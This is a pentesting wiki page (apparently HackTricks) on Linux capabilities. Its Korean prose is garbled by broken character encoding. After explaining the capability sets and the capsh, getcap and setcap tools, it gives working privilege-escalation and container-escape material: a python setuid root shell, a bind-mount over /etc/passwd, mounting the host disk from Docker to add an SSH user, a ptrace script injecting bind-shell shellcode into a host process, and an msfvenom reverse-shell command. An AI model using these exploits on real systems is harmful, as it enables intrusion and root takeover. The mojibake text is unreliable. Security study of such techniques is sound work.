Linux Capabilities
Tip
AWS íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:HackTricks Training GCP Red Team Expert (GRTE)
Azure íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ì§ìíêž°
- 구ë ê³í íìžíêž°!
- **ð¬ ëì€ìœë 귞룹 ëë í ë ê·žëš ê·žë£¹ì ì°žì¬íê±°ë ížìí° ðŠ @hacktricks_live륌 íë¡ì°íìžì.
- HackTricks ë° HackTricks Cloud ê¹íëž ëŠ¬í¬ì§í 늬ì PRì ì ì¶íì¬ íŽí¹ ížëŠì ê³µì íìžì.
Linux Capabilities
Linux capabilitiesë ë£šíž ê¶íì ë ìê³ êµ¬ë³ë ëšìë¡ ëëìŽ, íë¡ìžì€ê° ê¶íì íì ì§í©ì ê°ì§ ì ìëë¡ í©ëë€. ìŽë ë¶íìíê² ì 첎 ë£šíž ê¶íì ë¶ì¬íì§ ìììŒë¡ìš ìíì ìµìíí©ëë€.
묞ì :
- ìŒë° ì¬ì©ìë ì íë ê¶íì ê°ì§ë©°, ìŽë ë£šíž ì ê·ŒìŽ íìí ë€ížìí¬ ììŒ ìŽêž°ì ê°ì ìì ì ìí¥ì 믞칩ëë€.
ê¶í ìžíž:
- ììë (CapInh):
- 목ì : ë¶ëªš íë¡ìžì€ìì ì ë¬ë ê¶íì ê²°ì í©ëë€.
- êž°ë¥: ìë¡ìŽ íë¡ìžì€ê° ìì±ë ë, ìŽ ìžížìì ë¶ëªšë¡ë¶í° ê¶íì ììë°ìµëë€. íë¡ìžì€ ìì± ê° í¹ì ê¶íì ì ì§íë ë° ì ì©í©ëë€.
- ì í: íë¡ìžì€ë ë¶ëªšê° ê°ì§ì§ ìì ê¶íì ì»ì ì ììµëë€.
- ì íš (CapEff):
- 목ì : íë¡ìžì€ê° íì¬ ì¬ì©íë ì€ì ê¶íì ëíë ëë€.
- êž°ë¥: ë€ìí ìì ì ëí ê¶íì ë¶ì¬íêž° ìíŽ ì»€ëìŽ íìžíë ê¶í ìžížì ëë€. íìŒì 겜ì°, ìŽ ìžížë íìŒì íì©ë ê¶íìŽ ì íšíì§ ì¬ë¶ë¥Œ ëíëŽë íëê·žê° ë ì ììµëë€.
- ìì: ì íš ìžížë ìŠê°ì ìž ê¶í íìžì ì€ìíë©°, íë¡ìžì€ê° ì¬ì©í ì ìë íì± ê¶í ìžížë¡ ìì©í©ëë€.
- íì© (CapPrm):
- 목ì : íë¡ìžì€ê° ê°ì§ ì ìë ìµë ê¶í ìžížë¥Œ ì ìí©ëë€.
- êž°ë¥: íë¡ìžì€ë íì© ìžížìì ì íš ìžížë¡ ê¶íì ìì¹ìí¬ ì ììŒë©°, ìŽë¥Œ íµíŽ íŽë¹ ê¶íì ì¬ì©í ì ììµëë€. ëí íì© ìžížìì ê¶íì ì ê±°í ìë ììµëë€.
- 겜ê³: íë¡ìžì€ê° ê°ì§ ì ìë ê¶íì ìíì ìí ì íì¬, íë¡ìžì€ê° 믞늬 ì ìë ê¶í ë²ì륌 ìŽê³Œíì§ ìëë¡ ë³Žì¥í©ëë€.
- ê²œê³ (CapBnd):
- 목ì : íë¡ìžì€ê° ìì ëì íëí ì ìë ê¶íì íê³ë¥Œ ë¡ëë€.
- êž°ë¥: íë¡ìžì€ê° ìì ê°ë¥íê±°ë íì©ë ìžížìì í¹ì ê¶íì ê°ì§ê³ ìëëŒë, ê²œê³ ìžížì í¬íšëì§ ììŒë©Ž íŽë¹ ê¶íì íëí ì ììµëë€.
- ì¬ì© ì¬ë¡: ìŽ ìžížë íë¡ìžì€ì ê¶í ìì¹ ê°ë¥ì±ì ì ííë ë° í¹í ì ì©íë©°, ì¶ê°ì ìž ë³Žì ê³ìžµì ì¶ê°í©ëë€.
- í겜 (CapAmb):
- 목ì : í¹ì ê¶íìŽ
execveìì€í ížì¶ì íµíŽ ì ì§ë ì ìëë¡ íë©°, ìŽë ìŒë°ì ìŒë¡ íë¡ìžì€ì ê¶íìŽ ìì í ìŽêž°íëë 결곌륌 ìŽëí©ëë€. - êž°ë¥: êŽë š íìŒ ê¶íìŽ ìë ë¹-SUID íë¡ê·žëšìŽ í¹ì ê¶íì ì ì§í ì ìëë¡ ë³Žì¥í©ëë€.
- ì í: ìŽ ìžížì ê¶íì ìì ê°ë¥ ë° íì© ìžížì ì ìœì ë°ìŒë©°, íë¡ìžì€ì íì©ë ê¶íì ìŽê³Œíì§ ìëë¡ ë³Žì¥í©ëë€.
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')
ë ë§ì ì 볎ë ë€ìì íìžíìžì:
- https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
- https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
íë¡ìžì€ ë° ë°ìŽë늬 ê¶í
íë¡ìžì€ ê¶í
í¹ì íë¡ìžì€ì ê¶íì ë³Žë €ë©Ž /proc ëë í 늬ì status íìŒì ì¬ì©íìžì. ë ë§ì ìžë¶ì 볎륌 ì ê³µíë¯ë¡ Linux ê¶í곌 êŽë šë ì 볎ë¡ë§ ì íí©ìë€.
몚ë ì€í ì€ìž íë¡ìžì€ì ê¶í ì 볎ë ì€ë ëë³ë¡ ì ì§ëë©°, íìŒ ìì€í
ì ë°ìŽë늬ì ëíŽìë íì¥ ìì±ì ì ì¥ë©ëë€.
/usr/include/linux/capability.hìì ì ìë ê¶íì ì°Ÿì ì ììµëë€.
íì¬ íë¡ìžì€ì ê¶íì cat /proc/self/status ëë capsh --print륌 ì¬ì©íì¬ íìží ì ììŒë©°, ë€ë¥ž ì¬ì©ìì ê¶íì /proc/<pid>/statusìì íìží ì ììµëë€.
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
ìŽ ëª ë ¹ì ëë¶ë¶ì ìì€í ìì 5ì€ì ë°ííŽìŒ í©ëë€.
- CapInh = ììë ê¶í
- CapPrm = íì©ë ê¶í
- CapEff = ì íší ê¶í
- CapBnd = ê²œê³ ì§í©
- CapAmb = í겜 ê¶í ì§í©
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
ìŽ 16ì§ì ì«ìë ìë¯žê° ììµëë€. capsh ì ížëЬí°ë¥Œ ì¬ì©íì¬ ìŽë¥Œ ê¶í ìŽëŠìŒë¡ ëìœë©í ì ììµëë€.
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
ìŽì pingìì ì¬ì©ëë capabilities륌 íìžíŽ ëŽ
ìë€:
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
ìëíꞎ íì§ë§, ë ìœê³ ë€ë¥ž ë°©ë²ìŽ ììµëë€. ì€í ì€ìž íë¡ìžì€ì ë¥ë ¥ì ë³Žë €ë©Ž, getpcaps ë구륌 ì¬ì©í ë€ì íë¡ìžì€ ID (PID)륌 ì ë ¥í멎 ë©ëë€. íë¡ìžì€ ID 목ë¡ì ì ê³µí ìë ììµëë€.
getpcaps 1234
ì¬êž°ìì tcpdumpì êž°ë¥ì íìžíŽ ë³Žê² ìµëë€. ìŽì§ íìŒì ì¶©ë¶í ê¶í(cap_net_admin ë° cap_net_raw)ì ë¶ì¬íì¬ ë€ížìí¬ë¥Œ ì€ëíí©ëë€ (tcpdumpë íë¡ìžì€ 9562ìì ì€í ì€ì
ëë€):
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
죌ìŽì§ ë¥ë ¥ì ìŽì§ íìŒì ë¥ë ¥ì ì»ë ë ê°ì§ ë°©ë²ì 결곌ì ìŒì¹í©ëë€.
getpcaps ë구ë capget() ìì€í
ížì¶ì ì¬ì©íì¬ í¹ì ì€ë ëì ëí ì¬ì© ê°ë¥í ë¥ë ¥ì 쿌늬í©ëë€. ìŽ ìì€í
ížì¶ì ë ë§ì ì 볎륌 ì»êž° ìíŽ PIDë§ ì ê³µí멎 ë©ëë€.
Binaries Capabilities
Binariesë ì€í ì€ì ì¬ì©í ì ìë ë¥ë ¥ì ê°ì§ ì ììµëë€. ì륌 ë€ìŽ, cap_net_raw ë¥ë ¥ì ê°ì§ ping ìŽì§ íìŒì ì°Ÿë ê²ì ë§€ì° ìŒë°ì ì
ëë€:
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
ë°ìŽë늬륌 ë¥ë ¥ìŒë¡ ê²ìíë €ë©Ž ë€ìì ì¬ì©íìžì:
getcap -r / 2>/dev/null
Dropping capabilities with capsh
CAPNET_RAW êž°ë¥ì _pingìì ì ê±°í멎 ping ì ížëЬí°ê° ë ìŽì ìëíì§ ìììŒ í©ëë€.
capsh --drop=cap_net_raw --print -- -c "tcpdump"
_capsh_ì ì¶ë ¥ ìžìë, tcpdump ëª ë ¹ ì첎ë ì€ë¥ë¥Œ ë°ìììŒìŒ í©ëë€.
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
ì€ë¥ë ping ëª ë ¹ìŽ ICMP ììŒì ìŽ ì ììì ëª íí 볎ì¬ì€ëë€. ìŽì ì°ëЬë ìŽê²ìŽ ììëë¡ ìëíë€ë ê²ì íì€í ìê² ëììµëë€.
ë¥ë ¥ ì ê±°
ìŽì§ íìŒì ë¥ë ¥ì ì ê±°í ì ììµëë€.
setcap -r </path/to/binary>
ì¬ì©ì ê¶í
ëª
ë°±í ì¬ì©ììê²ë ê¶íì ë¶ì¬í ì ììµëë€. ìŽë ìë§ë ì¬ì©ìê° ì€ííë 몚ë íë¡ìžì€ê° ì¬ì©ìì ê¶íì ì¬ì©í ì ììì ì믞í©ëë€.
ìŽê², ìŽê² ë° ìŽê²ì êž°ë°ìŒë¡ í¹ì ê¶íì ì¬ì©ììê² ë¶ì¬íêž° ìíŽ ëª ê°ì§ íìŒì ìë¡ êµ¬ì±íŽìŒ íì§ë§, ê° ì¬ì©ììê² ê¶íì ë¶ì¬íë íìŒì /etc/security/capability.confì
ëë€.
íìŒ ì:
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
Environment Capabilities
ë€ì íë¡ê·žëšì 컎íìŒí멎 ë¥ë ¥ì ì ê³µíë í겜 ëŽìì bash ì žì ìì±í ì ììµëë€.
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
컎íìŒë í겜 ë°ìŽë늬ì ìíŽ ì€íë bash ëŽë¶ìì ìë¡ìŽ ê¶íì êŽì°°í ì ììµëë€(ìŒë° ì¬ì©ìë âíì¬â ì¹ì ìì ìŽë€ ê¶íë ê°ì§ì§ ììµëë€).
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
Caution
ë¹ì ì íì©ë ìžížì ìì ê°ë¥í ìžíž 몚ëì 졎ì¬íë ë¥ë ¥ë§ ì¶ê°í ì ììµëë€.
ë¥ë ¥ ìžì/ë¥ë ¥ 묎ì ë°ìŽë늬
ë¥ë ¥ ìžì ë°ìŽë늬ë í겜ìì ì ê³µë ìë¡ìŽ ë¥ë ¥ì ì¬ì©íì§ ìì§ë§, ë¥ë ¥ 묎ì ë°ìŽë늬ë ìŽë¥Œ ê±°ë¶íì§ ìêž° ë묞ì ì¬ì©í ê²ì ëë€. ìŽë ë¥ë ¥ì ë°ìŽë늬ì ë¶ì¬íë í¹ë³í í겜 ëŽìì ë¥ë ¥ 묎ì ë°ìŽë늬륌 ì·šìœíê² ë§ëëë€.
ìë¹ì€ ë¥ë ¥
Ʞ볞ì ìŒë¡ 룚ížë¡ ì€íëë ìë¹ì€ë 몚ë ë¥ë ¥ìŽ í ë¹ë©ëë€, ê·žëŠ¬ê³ ê²œì°ì ë°ëŒ ìŽë ìíí ì ììµëë€.
ë°ëŒì, ìë¹ì€ êµ¬ì± íìŒì ìíë ë¥ë ¥ê³Œ ìë¹ì€ë¥Œ ì€ííŽìŒ íë ì¬ì©ì륌 ì§ì í ì ìê² íì¬ ë¶íìí ê¶íìŒë¡ ìë¹ì€ë¥Œ ì€ííì§ ìëë¡ í©ëë€:
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
Capabilities in Docker Containers
Ʞ볞ì ìŒë¡ Dockerë 컚í ìŽëì ëª ê°ì§ êž°ë¥ì í ë¹í©ëë€. ìŽë¬í êž°ë¥ìŽ ë¬Žììžì§ íìžíë ê²ì ë§€ì° ìœìµëë€:
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
Privesc/Container Escape
Capabilitiesë í¹ê¶ ìì ì ìíí í ìì ì íë¡ìžì€ë¥Œ ì ííê³ ì í ë ì ì©í©ëë€ (ì: chroot륌 ì€ì íê³ ììŒì ë°ìžë©í í). ê·žë¬ë ì ìì ìž ëª ë ¹ìŽë ìžì륌 ì ë¬íì¬ ë£šížë¡ ì€íëëë¡ ì ì©ë ì ììµëë€.
setcapì ì¬ì©íì¬ íë¡ê·žëšì ë¥ë ¥ì ê°ì í ì ììŒë©°, getcapì ì¬ì©íì¬ ìŽë¥Œ ì¡°íí ì ììµëë€:
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
+epë ë¥ë ¥ì ì¶ê°íê³ ììì ì믞í©ëë€ (â-âë ìŽë¥Œ ì ê±°í©ëë€) íšê³Œì ìŽê³ íì©ë ê²ìŒë¡.
ìì€í ìŽë íŽëìì ë¥ë ¥ì ê°ì§ íë¡ê·žëšì ìë³íë €ë©Ž:
getcap -r / 2>/dev/null
Exploitation example
ë€ì ìì ìì ìŽì§ íìŒ /usr/bin/python2.6ê° ê¶í ìì¹ì ì·šìœí ê²ìŒë¡ ë°ê²¬ëììµëë€:
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Capabilities íì tcpdumpê° ëªšë ì¬ì©ìê° íší·ì ì€ëíí ì ìëë¡:
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
âë¹â ê¶íì í¹ë³í 겜ì°
묞ììì: ë¹ ê¶í ìžížë¥Œ íë¡ê·žëš íìŒì í ë¹í ì ììŒë©°, ë°ëŒì ì€ííë íë¡ìžì€ì ì íš ë° ì ì¥ë ì¬ì©ì ID륌 0ìŒë¡ ë³ê²œíë set-user-ID-root íë¡ê·žëšì ìì±í ì ìì§ë§, íŽë¹ íë¡ìžì€ì ê¶íì ë¶ì¬íì§ë ììµëë€. ê°ëší ë§íŽ, ë€ì 조걎ì ë§ì¡±íë ë°ìŽëëŠ¬ê° ìë€ë©Ž:
- rootì ìíŽ ìì ëì§ ìì
SUID/SGIDë¹ížê° ì€ì ëìŽ ìì§ ìì- ë¹ ê¶í ìžížê° ì€ì ëìŽ ìì (ì:
getcap myelfê°myelf =ep륌 ë°í)
ê·žë ë€ë©Ž íŽë¹ ë°ìŽë늬ë rootë¡ ì€íë©ëë€.
CAP_SYS_ADMIN
**CAP_SYS_ADMIN**ì ë§€ì° ê°ë ¥í Linux ê¶íìŒë¡, ì¥ì¹ ë§ìŽíž ëë 컀ë êž°ë¥ ì¡°ì곌 ê°ì êŽë²ìí êŽëЬ ê¶íìŒë¡ ìžíŽ ê±°ì root ìì€ì íŽë¹í©ëë€. ì 첎 ìì€í
ì ì뮬ë ìŽì
íë 컚í
ìŽëì íìì ìŽì§ë§, CAP_SYS_ADMINì ê¶í ìì¹ ë° ìì€í
ììì ì ì¬ë ¥ìŒë¡ ìžíŽ í¹í 컚í
ìŽëíë í겜ìì ìë¹í 볎ì 묞ì 륌 ìŒêž°í©ëë€. ë°ëŒì ìŽ ê¶íì ì¬ì©ì ì격í 볎ì íê°ì ì ì€í êŽëŠ¬ê° íìíë©°, ìµì ê¶í ìì¹ì ì€ìíê³ ê³µê²© í멎ì ìµìííêž° ìíŽ ì í늬ìŒìŽì
ì ì© ì»ší
ìŽëìì ìŽ ê¶íì ì ê±°íë ê²ìŽ ê°ë ¥í ê¶ì¥ë©ëë€.
ë°ìŽë늬 ìì
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
íìŽì¬ì ì¬ì©íì¬ ì€ì passwd íìŒ ìì ìì ë passwd íìŒì ë§ìŽíží ì ììµëë€:
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
ë§ì§ë§ìŒë¡ ìì ë passwd íìŒì /etc/passwdì mountí©ëë€:
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
ê·žëŠ¬ê³ ë¹ì ì ë¹ë°ë²íž âpasswordâ륌 ì¬ì©íì¬ su as rootë¡ ì íí ì ììµëë€.
í겜 ìì (Docker íì¶)
Docker 컚í ìŽë ëŽìì íì±íë ê¶íì íìžíë €ë©Ž ë€ìì ì¬ì©íìžì:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
ìŽì ì¶ë ¥ìì SYS_ADMIN ê¶íìŽ íì±íëìŽ ììì 볌 ì ììµëë€.
- Mount
ìŽê²ì ë컀 컚í ìŽëê° ížì€íž ëì€í¬ë¥Œ ë§ìŽížíê³ ìì ë¡ê² ì ê·Œí ì ìëë¡ íì©í©ëë€:
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
- ì 첎 ì ê·Œ
ìŽì ë°©ë²ììë ë컀 ížì€íž ëì€í¬ì ì ê·Œí ì ìììµëë€.
ížì€ížê° ssh ìë²ë¥Œ ì€í ì€ìž 겜ì°, ë컀 ížì€íž ëì€í¬ ëŽì ì¬ì©ì륌 ìì±íê³ SSH륌 íµíŽ ì ê·Œí ì ììµëë€:
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
CAP_SYS_PTRACE
ìŽê²ì ížì€ížìì ì€í ì€ìž ìŒë¶ íë¡ìžì€ì ììœë륌 죌ì
íì¬ ì»ší
ìŽë륌 íì¶í ì ììì ì믞í©ëë€. ížì€ížìì ì€í ì€ìž íë¡ìžì€ì ì ê·Œíë €ë©Ž 컚í
ìŽë륌 ìµìí --pid=host ìµì
ìŒë¡ ì€ííŽìŒ í©ëë€.
**CAP_SYS_PTRACE**ë ptrace(2)ê° ì ê³µíë ëë²ê¹
ë° ìì€í
ížì¶ ì¶ì êž°ë¥ê³Œ process_vm_readv(2), process_vm_writev(2)ì ê°ì êµì°š ë©ëªšëЬ ì²šë¶ ížì¶ì ì¬ì©í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ì§ëš ë° ëªšëí°ë§ 목ì ìŒë¡ ê°ë ¥íì§ë§, ptrace(2)ì ëí seccomp íí°ì ê°ì ì í ì¡°ì¹ ììŽ CAP_SYS_PTRACEê° íì±íë멎 ìì€í
볎ìì ì¬ê°íê² ì íŽí ì ììµëë€. í¹í, ìŽë seccompì ìíŽ ë¶ê³Œë ë€ë¥ž 볎ì ì íì ì°ííë ë° ì
ì©ë ì ììŒë©°, ìŽì ê°ì ê°ë
ìŠëª
(PoC)ìì ì
ìŠëììµëë€.
ë°ìŽë늬(íìŽì¬) ìì
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
Example with binary (gdb)
gdb with ptrace capability:
/usr/bin/gdb = cap_sys_ptrace+ep
msfvenomì ì¬ì©íì¬ ë©ëªšëЬì 죌ì í ììœë륌 ìì±íë €ë©Ž ë€ì ëª ë ¹ìŽë¥Œ ì¬ì©í ì ììµëë€:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c
